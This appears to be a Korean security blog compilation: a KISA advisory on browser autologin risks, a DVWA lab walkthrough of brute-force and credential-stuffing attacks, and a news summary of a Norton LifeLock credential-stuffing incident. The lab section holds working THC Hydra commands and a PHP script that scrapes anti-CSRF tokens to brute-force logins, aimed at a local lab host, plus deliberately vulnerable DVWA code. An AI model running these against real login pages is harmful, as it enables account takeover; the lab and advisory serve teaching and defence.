1. 개요

- 최근 브라우저 자동 로그인 기능을 악용한 계정 정보 탈취 범죄 급증함에 따라 KISA 권고 발표 [1]

- 사용자는 자동 로그인 기능 비활성화 및 개인정보 유출에 주의 必

 

2. 주요 내용

- 대부분의 브라우저는 편의성을 위해 계정정보를 저장하여 자동 입력해주는 자동 로그인 기능을 제공

- 해당 기능을 사용하는 PC가 악성코드에 감염되거나, 공용 PC에서 해당 기능 사용시 계정정보 탈취 등 위협 증가

영향받는 브라우저 구글 크롬(Google Chrome)
MS 엣지(Microsoft Edge)
모질라 파이어폭스(Mozilla FireFox)

 

- 탈취한 계정정보를 이용해 다른 사이트에서 로그인을 시도하는 크리덴셜 스터핑(Credential Stuffing) 공격 시도

> 크리덴셜 스터핑: 대부분의 사용서로 다른 사이트에 동일한 계정정보를 사용하는 것을 이용, 탈취한 계정 정보를 무작위로 대입하여 로그인을 시도하는 공격

> 과학기술정보통신부의 침해사고 조사결과 크리덴셜 스터핑은 공격 시도 대비 약 0.3% 성공률

> 관련 사례: 인포스틸러에 의한 국가·공공기관 정보 서비스 이용자 개인정보 유출, 엔씨소프트 계정 탈취 등 [2][3]

 

- 따라서, 자동 로그인 기능 비활성화 및 사용자의 주의 필요

> 개인정보보호위원회와 KISA는 자주 사용하는 계정의 유출 여부를 조회하는 서비스 ‘털린 내 정보 찾기 서비스’ 제공 [4]

구분 대응 방안
구글 크롬(Google Chrome) ① 오른쪽 상단 프로필 비밀번호를 선택
② 설정 메뉴에서 자동 로그인 사용을 중지
MS 엣지(Microsoft Edge) ① 오른쪽 상단 더보기에서 설정 선택
② 프로필 선택
③ 암호 선택
④ 자동으로 로그인 및 암호 필드에 암호 나타내기 단추 옵션을 모두 ‘사용 안함’으로 변경
모질라 파이어폭스(Mozilla FireFox) ① 오른쪽 상단 더보기 클릭
② 설정 선택
③ 개인정보 및 보안 메뉴
④ 저장된 로그인을 선택
⑤ 목록에 있는 정보를 모두 제거

 

3. 참고

[1] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71358&menuNo=205020
[2] https://www.nis.go.kr:4016/CM/1_4/view.do?seq=279
[3] https://www.boannews.com/media/view.asp?idx=125617&page=1&kind=1
[4] https://kidc.eprivacy.go.kr/

1. 개요

- 최근 크리덴셜 스터핑으로 인한 개인정보 노출 사례가 증가

> 22.12 페이팔 크리덴셜 스터핑 사고 이후 국내 한국장학재단, 워크넷 등에서 관련 사고가 발생

- 이미 다른 곳에서 탈취한 크리덴셜를 이용해 여러 웹 사이트나 앱에 접근을 시도(Stuffing, 대입)하여 개인정보나 자료를 탈취

> 크리덴셜이란 사용자가 본인을 증명하는 수단으로, 대부분의 사용자들이 여러 사이트에 같은 크리덴셜(패스워드)을 사용하고 있기 때문에 발생

> 가능한 모든 계정정보를 대입하는 Brute-Force 공격과 차이를 보임

 

2. 실습

2.1 DVWA Brute-Force: Level Low

[사진 1] 로그인 실패

 

[사진 2] GET 방식

 

- user/user 계정으로 로그인을 시도한 결과 "Username and/or password incorrect" 에러가 출력되며 로그인 실패

- 로그인 방식은 GET 메소드를 사용하며, 사용자로부터 username과 password 변수를 입력받음

- THC Hydra를 이용하여 공격을 자동화하여 실습을 진행

 

THC Hydra
- "The Hacker's Choice"(THC)라는 단체에서 개발하여 배포하는 명령행 기반의 모의침투(pentest) 도구
- SSH, TELENT, HTTP, HTTPS, FTP, LDAP, SMB, SNMP, POP3 등 다수의 통신규약에 대해 사전기반 비밀번호 공격도구
- 웹취약점분석에서는 관리자나 사용자 계정을 취약하게 관리하는 지의 여부를 점검할 수 있음

 

- 먼저 DVWA IP는 192.168.56.109이며, 로그인은 GET 방식으로 이루어짐

hydra 192.168.56.109 http-form-get

 

- 로그인 페이지는 /vulnerabilities/brute/, 사용자가 입력한 정보는 username=admin&password=user&Login=Login로 전달

- 로그인 실패 시 Username and/or password incorrect. 문자열이 출력

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."

 

- 실습 레벨이 Low라는 것을 사용자 쿠키 정보(개발자도구_F12 확인)를 통해 서버에 전달

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f"

 

- 이미 탈취한 계정정보(계정/비밀번호)를 저장한 파일을 사용해 요청 전송

- -t 옵션을 4로 지정해 동시에 4개씩 접속하도록 함

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f" -L week.txt -P pass.txt -t 4

 

[사진 3] 탈취한 계정 목록

 

- 출력 결과를 통해 유효한 계정은 admin/password인 것을 알 수 있음

※ 명령 수행 결과 출력이 오래 걸려 사진 대체

[사진 4] 수행 결과

 

- Low 레벨의 PHP 소스를 확인해보면 비밀번호를 md5 해시화

- 사용자 입력값을 그대로 사용하며, 반복 로그인 시도 및 실패에 따른 계정 잠금 등의 조치가 없어 반복적인 대입이 가능

$user = $_GET[ 'username' ];

$pass = $_GET[ 'password' ];
$pass = md5( $pass );

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

 

2.2 DVWA Brute-Force: Level Medium

- Low Level에서 security 쿠키 값만 medium으로 변경하여 요청 재전송

 

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=mediun;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f" -L week.txt -P pass.txt -t 4

 

[사진 5] 수행 결과

 

- Medium 레벨의 PHP 소스를 확인해보면 username,password 변수에 mysql_real_escape_string() 함수를 사용해 사용자 입력값을 필터링

- SQL Injection 관련 취약점에 대해서는 대응이 가능하지만 반복적인 대입 공격에는 대응하지 못함

$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
    
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );

 

2.3 DVWA Brute-Force: Level High

- Level High의 PHP 소스를 확인해보면 사용자의 token과 세션 token을 비교해 동일한 경우 로그인이 수행

- 사용자 token 값은 숨겨진 속성으로 전송되며, 로그인을 수행할때마다 값이 변경됨

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );

$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );

 

- 구글 조회를 통해 사용자 token을 받아온 후 해당 token을 이용해 로그인을 수행하는 스크립트를 사용

- 스크립트 사용 결과 계정 정보는 admin/password로 확인됨

<?php
$user_list = array( 'root', 'admin', 'manager' );
$pass_list = array( '123456', 'qwerty', '123456789', 'password', '12345678' );

foreach ($user_list as $user) {
    foreach ($pass_list as $pass) {
        $c = curl_init('http://192.168.206.136/vulnerabilities/brute/index.php');
        curl_setopt($c, CURLOPT_COOKIE, 'PHPSESSID=gulk7ha641o55qk52os77asr42; security=high');
        curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
        $page = curl_exec($c);
        $needle = "user_token' value='";
        $token = substr($page, strpos($page, $needle)+strlen($needle), 32);
        curl_close($c);

        $c = curl_init('http://192.168.206.136/vulnerabilities/brute/index.php?username='.$user.'&password='.$pass.'&Login=Login&user_token='.$token);
        curl_setopt($c, CURLOPT_COOKIE, 'PHPSESSID=gulk7ha641o55qk52os77asr42; security=high');
        curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
        $page = curl_exec($c);
        curl_close($c);
        if (strstr($page, 'Username and/or password incorrect.')) continue;
        else {
            echo $user.'/'.$pass." 로그인 성공!\n";
            exit(0);
        }
    }
}
?>

 

2.4 DVWA Brute-Force: Level Impossible

- Impossible 레벨의 PHP 소스코드를 확인해보면 3회이상 계정 오입력 시 15분동안 계정을 잠금 처리

- 공격자는 15분동안 대기해야 하므로 반복적 대입 공격이 거의 불가능함

- 하지만, 정상적인 사용자 또한 15분을 대기하여야 하므로 적절한 시간 설정이 필요

// Default values
$total_failed_login = 3;
$lockout_time       = 15;
$account_locked     = false; 

[생략]

if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = $row[ 'last_login' ];
        $last_login = strtotime( $last_login );
        $timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
        $timenow    = strtotime( "now" );

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow > $timeout )
            $account_locked = true;
    }

 

3. 대응방안

- 봇 차단

- 다중인증 도입

- 비밀번호 설정 규칙 강화

- 비밀번호 실패 횟수 및 계정 잠금 시간 설정

- 각 서비스마다 고유한 계정정보를 사용

 

4. 참고

[1] https://github.com/vanhauser-thc/thc-hydra
[2] https://medium.com/hacker-toolbelt/dvwa-1-9-ii-brute-force-4cd8efe1c7f2
[3] https://webhack.dynu.net/?idx=20161205.003
[4] http://blog.plura.io/?p=13094

요약 - 노턴 라이프락(Norton LifeLock) 고객들 중 일부가 크리덴셜 스터핑 공격의 피해
※ 크리덴셜 스터핑 : 입수한 비밀번호를 사용해 다양한 서비스의 계정으로 로그인 시도를 해 보는 공격
- 다른 곳에서 유출된 사용자 이름과 비밀번호의 조합 정보를 노턴 라이프락 고객들에게 대입하여 노턴 계정에 침투하는 데 성공
- 비밀번호 관리 프로그램에 접속했을 가능성도 존재
내용 - 젠 디지털 측은 침해와 관련된 악성 행위를 12월 12일에 처음 발견
※ 젠 디지털(Gen Digital) : 라이프락이라는 브랜드를 소유하고 있는 기업

- 인증 시스템에서 “비정상적으로 로그인 시도 및 실패 빈도가 높다” 경보 > 열흘 간 수사 > 최초 악성 행위는 12/01
- 아직 피해 규모에 대해서는 알려진 바가 없다
> 공격자들이 노턴 계정과 연결되어 있는 사용자 이름, 전화번호, 우편 주소에 접속한 것으로 추측

- 이번 사건으로 비밀번호 재사용 습관의 문제점을 보여줌
> 아무리 강력한 비밀번호 생성 및 관리 기술이라도 무용지물이 될 수 있음
> 각종 서비스에 동일한 크리덴셜(ID/PW)을 사용
기타 - 사용자들 중 노턴 계정을 비밀번호 관리 프로그램으로 보호하지 않고 자기가 스스로 만든 비밀번호로 보호하고 있던 사람들이 공격에 당한 것으로 추정

- 공격자들은 최근 아이덴티티와 접근 관리 시스템을 자주 표적으로 삼기 시작
> 아이덴티티 접근 관리 시스템(IAM)을 한 번만 침해하면 연결된 수많은 보물 창고들로 접근할 수 있기 때문
> 표적의 네트워크 내에도 더 깊숙하게 들어갈 수 있게 됨
∴ 효율성을 지극히 따지는 공격자들에게 안성맞춤인 표적

 

보안뉴스

 

노턴 라이프락 계정에 대한 크리덴셜 스터핑 공격, 통했다

노턴 라이프락(Norton LifeLock) 고객들 중 일부가 크리덴셜 스터핑 공격의 피해자가 됐다. 사이버 공격자들은 다른 곳에서 유출된 사용자 이름과 비밀번호의 조합 정보를 노턴 라이프락 고객들에게

www.boannews.com

 

+ Recent posts